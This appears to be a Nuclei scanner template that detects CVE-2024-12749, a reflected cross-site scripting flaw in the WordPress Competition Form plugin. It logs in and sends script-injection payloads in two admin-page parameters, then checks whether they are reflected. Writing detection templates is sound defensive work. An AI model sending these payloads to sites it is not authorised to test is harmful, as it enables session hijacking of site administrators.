id: CVE-2024-12749

info:
  name: WordPress Competition Form Plugin <= 2.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Competition Form WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a maliciously crafted page.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-12749
    cwe-id: CWE-79
    epss-score: 0.0056
    epss-percentile: 0.4208
    cpe: cpe:2.3:a:raiserweb:competition_form:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: raiserweb
    product: competition_form
  tags: cve,cve2024,competition-form,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=entries&competition_id={$competition_id}"></script><script>alert(document.domain)</script><script>&paged={$paged}"></script><script>alert(document.domain)</script><script>&action=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Select Competition")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and
# digest: 490a00463044022073443603ca770457aa638bd21035a4662daa94dacf0c3b2def27d1aec4aff975022008e524c2e085cd839a0d8ed4f2fc3c6131269a21cf8782ce125ebcf7216571e4:922c64590222798bb761d5b6d8e72950